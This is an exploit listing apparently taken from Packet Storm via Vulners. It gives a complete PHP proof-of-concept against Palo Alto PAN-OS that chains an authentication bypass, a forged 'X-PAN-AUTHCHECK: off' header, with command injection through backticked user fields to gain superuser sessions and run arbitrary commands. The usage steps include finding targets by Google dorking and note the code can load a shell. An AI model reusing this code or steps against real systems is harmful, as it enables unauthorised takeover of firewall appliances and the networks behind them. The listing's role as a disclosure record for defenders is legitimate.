Lucene search
K

📄 Palo Alto Networks PAN-OS 11.2 PHP Code Injection

🗓️ 10 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 117 Views

PAN-OS 11.2 PHP code injection enables remote command execution and authentication bypass.

Related
Code
=============================================================================================================================================
    | # Title     : Palo Alto Networks PAN-OS 11.2 PHP Code Injection Vulnerability                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://paloaltonetworks.com                                                                                                |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Bypasses authentication using CVE-2024-0012.
    
        Exploits command execution vulnerability CVE-2024-9474.
    
        Uses an administrator session to run any commands on the system.
    
        Supports execution of any command on the system, such as loading a shell.
    	
    	( https://packetstorm.news/files/id/182665/ -	CVE-2024-24809, CVE-2024-5910 )
     
    [+] save code as poc.php .
    
    [+] USage : cmd => c:\www\test\php poc.php 
    
    [+] SeT target  = Line : 77
    
    [+] PayLoad :
    
    <?php
    
    function sendRequest($url, $data = null, $headers = [], $method = 'GET', $cookies = []) {
        $ch = curl_init();
        
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
        if (!empty($headers)) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        }
    
        if (!empty($cookies)) {
            curl_setopt($ch, CURLOPT_COOKIE, implode("; ", $cookies));
        }
    
        if ($method == 'POST') {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }
    
        $response = curl_exec($ch);
        curl_close($ch);
    
        return $response;
    }
    
    // 📌 تجاوز المصادقة والحصول على جلسة مسؤول
    function bypassAuth($target) {
        $auth_url = "$target/php/utils/createRemoteAppwebSession.php?" . bin2hex(random_bytes(4)) . ".js.map";
        
        $postData = [
            'user' => '`whoami`', // يمكن تغييره إلى `cmd.exe /c whoami` في ويندوز
            'userRole' => 'superuser',
            'remoteHost' => '',
            'vsys' => 'vsys1'
        ];
    
        $headers = [
            "X-PAN-AUTHCHECK: off"
        ];
    
        $response = sendRequest($auth_url, http_build_query($postData), $headers, 'POST');
    
        if (strpos($response, "PHPSESSID") !== false) {
            preg_match('/PHPSESSID=([^;]+)/', $response, $matches);
            return $matches[1] ?? null;
        }
    
        return null;
    }
    
    // 📌 استغلال تنفيذ الأوامر عبر الجلسة المصادق عليها
    function executeCommand($target, $session, $cmd) {
        $exploit_url = "$target/index.php/.js.map";
    
        $cookies = ["PHPSESSID=$session"];
    
        // تعديل الأوامر بناءً على النظام
        if (stripos(PHP_OS, 'WIN') !== false) {
            $cmd = "cmd.exe /c " . $cmd; // إذا كان ويندوز، استعمل cmd.exe
        }
    
        $postData = [
            'user' => "`$cmd`",
            'userRole' => 'superuser',
            'remoteHost' => '',
            'vsys' => 'vsys1'
        ];
    
        sendRequest($exploit_url, $postData, [], 'GET', $cookies);
    }
    
    // 📌 تشغيل الاستغلال
    $target = "http://127.0.0.1"; // 🔥 عدل الهدف هنا
    
    echo "[+] تجاوز المصادقة...\n";
    $session = bypassAuth($target);
    
    if ($session) {
        echo "[+] تم الحصول على الجلسة: $session\n";
    
        if (stripos(PHP_OS, 'WIN') !== false) {
            echo "[+] تشغيل أمر Windows: whoami\n";
            executeCommand($target, $session, "whoami");
        } else {
            echo "[+] تشغيل أمر Linux: whoami\n";
            executeCommand($target, $session, "whoami");
        }
    
    } else {
        echo "[-] فشل تجاوز المصادقة!\n";
    }
    
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Feb 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.5 - 9.8
CVSS 49.3
EPSS0.94285
SSVC
117